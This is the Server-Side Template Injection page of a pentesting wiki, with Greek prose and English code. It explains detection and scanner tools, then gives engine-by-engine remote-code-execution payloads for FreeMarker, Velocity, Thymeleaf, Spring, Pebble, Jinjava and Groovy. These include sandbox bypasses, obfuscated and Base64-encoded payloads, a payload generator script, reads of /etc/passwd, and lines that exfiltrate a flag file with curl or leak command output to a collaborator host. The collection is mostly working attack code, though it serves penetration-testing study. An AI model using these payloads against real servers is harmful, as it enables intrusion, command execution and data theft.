hacktricks/pentesting-web/ssti-server-side-template-injection/README.md

975 lines
54 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# SSTI (Server Side Template Injection)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2024-01-01 17:15:42 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (641).png" alt=""><figcaption></figcaption></figure>
2022-10-25 15:56:49 +00:00
[**RootedCON**](https://www.rootedcon.com) είναι το πιο σχετικό γεγονός κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
## What is SSTI (Server-Side Template Injection)
Η ένεση προτύπου πλευράς διακομιστή είναι μια ευπάθεια που συμβαίνει όταν ένας επιτιθέμενος μπορεί να εισάγει κακόβουλο κώδικα σε ένα πρότυπο που εκτελείται στον διακομιστή. Αυτή η ευπάθεια μπορεί να βρεθεί σε διάφορες τεχνολογίες, συμπεριλαμβανομένου του Jinja.
2024-04-06 18:31:47 +00:00
Το Jinja είναι μια δημοφιλής μηχανή προτύπων που χρησιμοποιείται σε διαδικτυακές εφαρμογές. Ας εξετάσουμε ένα παράδειγμα που δείχνει ένα ευάλωτο απόσπασμα κώδικα χρησιμοποιώντας το Jinja:
2024-02-06 14:12:47 +00:00
```python
output = template.render(name=request.args.get('name'))
```
Σε αυτόν τον ευάλωτο κώδικα, η παράμετρος `name` από το αίτημα του χρήστη περνάει απευθείας στο πρότυπο χρησιμοποιώντας τη λειτουργία `render`. Αυτό μπορεί δυνητικά να επιτρέψει σε έναν επιτιθέμενο να εισάγει κακόβουλο κώδικα στην παράμετρο `name`, οδηγώντας σε server-side template injection.
2024-04-06 18:31:47 +00:00
Για παράδειγμα, ένας επιτιθέμενος θα μπορούσε να δημιουργήσει ένα αίτημα με ένα payload όπως αυτό:
```
2024-02-06 14:12:47 +00:00
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
Το payload `{{bad-stuff-here}}` εισάγεται στην παράμετρο `name`. Αυτό το payload μπορεί να περιέχει οδηγίες Jinja template που επιτρέπουν στον επιτιθέμενο να εκτελέσει μη εξουσιοδοτημένο κώδικα ή να χειριστεί τη μηχανή template, αποκτώντας ενδεχομένως έλεγχο πάνω στον διακομιστή.
2024-04-06 18:31:47 +00:00
Για να αποτραπούν οι ευπάθειες από την έγχυση template στον διακομιστή, οι προγραμματιστές θα πρέπει να διασφαλίσουν ότι η είσοδος του χρήστη είναι σωστά καθαρισμένη και επικυρωμένη πριν εισαχθεί σε templates. Η εφαρμογή επικύρωσης εισόδου και η χρήση τεχνικών διαφυγής που λαμβάνουν υπόψη το πλαίσιο μπορούν να βοηθήσουν στη μείωση του κινδύνου αυτής της ευπάθειας.
### Detection
Για να ανιχνευθεί η Έγχυση Template στον Διακομιστή (SSTI), αρχικά, **η θολότητα του template** είναι μια απλή προσέγγιση. Αυτό περιλαμβάνει την εισαγωγή μιας ακολουθίας ειδικών χαρακτήρων (**`${{<%[%'"}}%\`**) στο template και την ανάλυση των διαφορών στην απόκριση του διακομιστή σε κανονικά δεδομένα σε σύγκριση με αυτό το ειδικό payload. Οι δείκτες ευπάθειας περιλαμβάνουν:
* Ρίψεις σφαλμάτων, που αποκαλύπτουν την ευπάθεια και ενδεχομένως τη μηχανή template.
* Απουσία του payload στην αντανάκλαση, ή μέρη του να λείπουν, υποδηλώνοντας ότι ο διακομιστής το επεξεργάζεται διαφορετικά από τα κανονικά δεδομένα.
* **Plaintext Context**: Διακρίνετε από το XSS ελέγχοντας αν ο διακομιστής αξιολογεί τις εκφράσεις template (π.χ., `{{7*7}}`, `${7*7}`).
* **Code Context**: Επιβεβαιώστε την ευπάθεια αλλάζοντας τις παραμέτρους εισόδου. Για παράδειγμα, αλλάζοντας το `greeting` στο `http://vulnerable-website.com/?greeting=data.username` για να δείτε αν η έξοδος του διακομιστή είναι δυναμική ή στατική, όπως στο `greeting=data.username}}hello` που επιστρέφει το όνομα χρήστη.
#### Identification Phase
Η αναγνώριση της μηχανής template περιλαμβάνει την ανάλυση μηνυμάτων σφάλματος ή τη χειροκίνητη δοκιμή διαφόρων payloads που είναι συγκεκριμένα για γλώσσες. Κοινά payloads που προκαλούν σφάλματα περιλαμβάνουν `${7/0}`, `{{7/0}}`, και `<%= 7/0 %>`. Η παρατήρηση της απόκρισης του διακομιστή σε μαθηματικές λειτουργίες βοηθά στην προσδιορισμό της συγκεκριμένης μηχανής template.
## Tools
2021-06-25 12:34:30 +00:00
### [TInjA](https://github.com/Hackmanit/TInjA)
ένας αποδοτικός σαρωτής SSTI + CSTI που χρησιμοποιεί καινοτόμους πολυγλωσσικούς κώδικες.
```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
```
2024-01-07 06:40:59 +00:00
### [SSTImap](https://github.com/vladko312/sstimap)
```bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
2024-01-07 06:40:59 +00:00
```
2022-05-01 13:25:53 +00:00
### [Tplmap](https://github.com/epinna/tplmap)
2021-06-25 12:34:30 +00:00
```python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
```
### [Template Injection Table](https://github.com/Hackmanit/template-injection-table)
2024-04-06 18:31:47 +00:00
ένας διαδραστικός πίνακας που περιέχει τους πιο αποτελεσματικούς πολυγλωσσικούς επιθέτες template injection μαζί με τις αναμενόμενες απαντήσεις των 44 πιο σημαντικών μηχανών template.
2021-06-25 12:34:30 +00:00
## Exploits
### Generic
Σε αυτή τη **λίστα λέξεων** μπορείτε να βρείτε **μεταβλητές που ορίζονται** στα περιβάλλοντα ορισμένων από τις μηχανές που αναφέρονται παρακάτω:
2021-06-27 20:19:16 +00:00
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
2024-02-06 14:12:47 +00:00
* [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
2021-06-27 20:19:16 +00:00
2022-05-01 13:25:53 +00:00
### Java
2021-06-25 12:34:30 +00:00
**Java - Βασική ένεση**
2021-06-25 12:34:30 +00:00
```java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
2024-02-06 14:12:47 +00:00
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
2021-06-25 12:34:30 +00:00
```
2024-02-10 22:40:18 +00:00
**Java - Ανάκτηση των μεταβλητών περιβάλλοντος του συστήματος**
2021-06-25 12:34:30 +00:00
```java
${T(java.lang.System).getenv()}
```
**Java - Ανάκτηση /etc/passwd**
2021-06-25 12:34:30 +00:00
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
2022-05-01 13:25:53 +00:00
### FreeMarker (Java)
Μπορείτε να δοκιμάσετε τα payload σας στο [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
2021-06-25 12:34:30 +00:00
* `{{7*7}} = {{7*7}}`
* `${7*7} = 49`
2021-06-25 12:34:30 +00:00
* `#{7*7} = 49 -- (legacy)`
* `${7*'7'} Τίποτα`
* `${foobar}`
2021-06-25 12:34:30 +00:00
```java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
**Freemarker - Παράκαμψη Sandbox**
2024-04-06 18:31:47 +00:00
⚠️ λειτουργεί μόνο σε εκδόσεις Freemarker κάτω από 2.3.30
2021-06-25 12:34:30 +00:00
```java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```
2024-02-10 22:40:18 +00:00
**Περισσότερες πληροφορίες**
2021-06-25 12:34:30 +00:00
2024-02-10 22:40:18 +00:00
* Στην ενότητα FreeMarker του [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
2022-05-01 13:25:53 +00:00
### Velocity (Java)
2021-06-25 12:34:30 +00:00
```java
// I think this doesn't work
2021-06-25 12:34:30 +00:00
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
2021-06-25 12:34:30 +00:00
```
2024-02-10 22:40:18 +00:00
**Περισσότερες πληροφορίες**
2021-06-25 12:34:30 +00:00
2024-02-10 22:40:18 +00:00
* Στην ενότητα Velocity του [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
2024-02-06 14:12:47 +00:00
### Thymeleaf
Στο Thymeleaf, μια κοινή δοκιμή για ευπάθειες SSTI είναι η έκφραση `${7*7}`, η οποία ισχύει επίσης για αυτήν την μηχανή προτύπων. Για πιθανή απομακρυσμένη εκτέλεση κώδικα, μπορούν να χρησιμοποιηθούν εκφράσεις όπως οι παρακάτω:
* SpringEL:
2024-02-10 22:40:18 +00:00
```java
${T(java.lang.Runtime).getRuntime().exec('calc')}
```
* OGNL:
2024-02-10 22:40:18 +00:00
```java
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
Το Thymeleaf απαιτεί αυτές τις εκφράσεις να τοποθετούνται εντός συγκεκριμένων χαρακτηριστικών. Ωστόσο, υποστηρίζεται _inline έκφραση_ για άλλες τοποθεσίες προτύπων, χρησιμοποιώντας σύνταξη όπως `[[...]]` ή `[(...)]`. Έτσι, μια απλή δοκιμή SSTI payload μπορεί να μοιάζει με `[[${7*7}]]`.
Ωστόσο, η πιθανότητα να λειτουργήσει αυτό το payload είναι γενικά χαμηλή. Η προεπιλεγμένη ρύθμιση του Thymeleaf δεν υποστηρίζει δυναμική δημιουργία προτύπων; τα πρότυπα πρέπει να είναι προκαθορισμένα. Οι προγραμματιστές θα χρειαστεί να υλοποιήσουν τον δικό τους `TemplateResolver` για να δημιουργήσουν πρότυπα από συμβολοσειρές σε πραγματικό χρόνο, κάτι που είναι ασυνήθιστο.
2024-04-06 18:31:47 +00:00
Το Thymeleaf προσφέρει επίσης ροεπεξεργασία εκφράσεων_, όπου οι εκφράσεις εντός διπλών υπογραμμίσεων (`__...__`) προεπεξεργάζονται. Αυτή η δυνατότητα μπορεί να χρησιμοποιηθεί στην κατασκευή εκφράσεων, όπως αποδεικνύεται στην τεκμηρίωση του Thymeleaf:
2021-06-25 12:34:30 +00:00
```java
#{selection.__${sel.code}__}
```
**Παράδειγμα Ευπάθειας στο Thymeleaf**
2024-04-06 18:31:47 +00:00
Σκεφτείτε το παρακάτω απόσπασμα κώδικα, το οποίο θα μπορούσε να είναι επιρρεπές σε εκμετάλλευση:
2024-02-06 14:12:47 +00:00
```xml
<a th:href="@{__${path}__}" th:title="${title}">
2022-05-18 13:29:23 +00:00
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
2024-02-06 14:12:47 +00:00
```
Αυτό υποδηλώνει ότι αν η μηχανή προτύπων επεξεργαστεί αυτές τις εισόδους λανθασμένα, μπορεί να οδηγήσει σε απομακρυσμένη εκτέλεση κώδικα που αποκτά πρόσβαση σε διευθύνσεις URL όπως:
2024-02-06 14:12:47 +00:00
```
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```
2024-02-10 22:40:18 +00:00
**Περισσότερες πληροφορίες**
* [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)
2022-05-18 13:29:23 +00:00
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
### Spring Framework (Java)
2022-09-26 02:13:30 +00:00
```java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```
2024-02-10 22:40:18 +00:00
**Παράκαμψη φίλτρων**
2023-01-13 17:40:30 +00:00
Μπορούν να χρησιμοποιηθούν πολλαπλές εκφράσεις μεταβλητών, αν το `${...}` δεν λειτουργεί δοκιμάστε το `#{...}`, `*{...}`, `@{...}` ή `~{...}`.
2023-01-13 17:40:30 +00:00
2024-02-10 22:40:18 +00:00
* Διαβάστε το `/etc/passwd`
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
* Προσαρμοσμένο σενάριο για τη δημιουργία payload
```python
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
2024-02-10 22:40:18 +00:00
end_payload = '.getInputStream())}'
count = 1
for i in converted:
2024-02-10 22:40:18 +00:00
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
```
2024-02-10 22:40:18 +00:00
**Περισσότερες Πληροφορίες**
2023-01-13 17:40:30 +00:00
* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
### Manipulation Άποψης Spring (Java)
2021-06-25 12:34:30 +00:00
```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
```
2022-05-18 13:29:23 +00:00
* [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation)
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
2020-09-22 09:07:48 +00:00
2022-05-01 13:25:53 +00:00
### Pebble (Java)
2021-06-25 12:34:30 +00:00
* `{{ someString.toUPPERCASE() }}`
2024-04-06 18:31:47 +00:00
Παλαιά έκδοση του Pebble ( < έκδοση 3.0.9):
2021-06-25 12:34:30 +00:00
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
Νέα έκδοση του Pebble :
2021-06-25 12:34:30 +00:00
```java
2022-02-09 16:22:44 +00:00
{% raw %}
2021-06-25 12:34:30 +00:00
{% set cmd = 'id' %}
2022-02-09 16:22:44 +00:00
{% endraw %}
2024-04-06 18:31:47 +00:00
2021-06-25 12:34:30 +00:00
{% set bytes = (1).TYPE
2024-02-10 22:40:18 +00:00
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
2021-06-25 12:34:30 +00:00
{{ (1).TYPE
2024-02-10 22:40:18 +00:00
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
2021-06-25 12:34:30 +00:00
```
2022-05-01 13:25:53 +00:00
### Jinjava (Java)
2021-06-25 12:34:30 +00:00
```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
Jinjava είναι ένα έργο ανοιχτού κώδικα που αναπτύχθηκε από την Hubspot, διαθέσιμο στο [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
2024-04-06 18:31:47 +00:00
2024-02-10 22:40:18 +00:00
**Jinjava - Εκτέλεση εντολών**
2021-06-25 12:34:30 +00:00
Διορθώθηκε από [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
2021-06-25 12:34:30 +00:00
```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```
2024-02-10 22:40:18 +00:00
**Περισσότερες πληροφορίες**
2021-06-25 12:34:30 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava)
2021-06-25 12:34:30 +00:00
2022-05-01 13:25:53 +00:00
### Hubspot - HuBL (Java)
2021-06-26 13:19:42 +00:00
* `{% %}` δηλωτές δηλώσεων
* `{{ }}` δηλωτές εκφράσεων
* `{# #}` δηλωτές σχολίων
2022-04-06 08:57:29 +00:00
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
2021-06-26 13:19:42 +00:00
* `{{'a'.toUpperCase()}}` - "A"
* `{{'a'.concat('b')}}` - "ab"
* `{{'a'.getClass()}}` - java.lang.String
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
2022-04-06 08:57:29 +00:00
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
2021-06-26 13:19:42 +00:00
Αναζητήστε το "com.hubspot.content.hubl.context.TemplateContextRequest" και ανακαλύψτε το [Jinjava project στο Github](https://github.com/HubSpot/jinjava/).
2021-06-26 13:19:42 +00:00
```java
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
2024-02-10 22:40:18 +00:00
//It was also possible to call methods on the created object by combining the
2022-04-06 16:21:07 +00:00
2022-04-28 15:47:13 +00:00
2022-04-28 23:27:22 +00:00
2022-04-06 08:57:29 +00:00
{% raw %}
2022-02-09 16:22:44 +00:00
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
2022-04-06 08:57:29 +00:00
{% endraw %}
{{ji.render('{{1*2}}')}}
2021-06-26 13:19:42 +00:00
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
2022-04-06 08:57:29 +00:00
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
2021-06-26 13:19:42 +00:00
```
2024-02-10 22:40:18 +00:00
**Περισσότερες πληροφορίες**
2021-06-26 13:19:42 +00:00
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
### Expression Language - EL (Java)
2021-06-07 09:30:58 +00:00
2021-06-26 13:24:50 +00:00
* `${"aaaa"}` - "aaaa"
2022-04-05 22:24:52 +00:00
* `${99999+1}` - 100000.
2021-06-26 13:24:50 +00:00
* `#{7*7}` - 49
2021-06-26 14:55:22 +00:00
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`
2021-06-26 13:24:50 +00:00
Η Expression Language (EL) είναι μια θεμελιώδης δυνατότητα που διευκολύνει την αλληλεπίδραση μεταξύ της παρουσίασης (όπως οι ιστοσελίδες) και της λογικής εφαρμογής (όπως τα managed beans) στο JavaEE. Χρησιμοποιείται εκτενώς σε πολλές τεχνολογίες JavaEE για να απλοποιήσει αυτή την επικοινωνία. Οι βασικές τεχνολογίες JavaEE που χρησιμοποιούν EL περιλαμβάνουν:
2024-02-06 14:12:47 +00:00
* **JavaServer Faces (JSF)**: Χρησιμοποιεί EL για να συνδέσει τα στοιχεία στις σελίδες JSF με τα αντίστοιχα δεδομένα και ενέργειες στο backend.
* **JavaServer Pages (JSP)**: Η EL χρησιμοποιείται σε JSP για την πρόσβαση και την επεξεργασία δεδομένων εντός των σελίδων JSP, διευκολύνοντας τη σύνδεση των στοιχείων της σελίδας με τα δεδομένα της εφαρμογής.
* **Contexts and Dependency Injection for Java EE (CDI)**: Η EL ενσωματώνεται με το CDI για να επιτρέπει την απρόσκοπτη αλληλεπίδραση μεταξύ της διαδικτυακής διάταξης και των managed beans, εξασφαλίζοντας μια πιο συνεκτική δομή εφαρμογής.
2024-02-06 14:12:47 +00:00
Ελέγξτε την παρακάτω σελίδα για να μάθετε περισσότερα σχετικά με την **εκμετάλλευση των EL interpreters**:
2021-06-07 09:30:58 +00:00
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
2021-06-07 09:30:58 +00:00
2022-09-26 09:52:47 +00:00
### Groovy (Java)
Οι παρακάτω παρακάμψεις του Security Manager προήλθαν από αυτήν την [**αναφορά**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
2022-09-26 09:52:47 +00:00
```java
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
2024-02-10 22:40:18 +00:00
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
2022-09-26 09:52:47 +00:00
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
2024-02-10 22:40:18 +00:00
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
2022-09-26 09:52:47 +00:00
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
```
2022-10-25 15:56:49 +00:00
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην **Ισπανία** και μία από τις πιο σημαντικές στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε τομέα.
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
##
2022-05-01 13:25:53 +00:00
### Smarty (PHP)
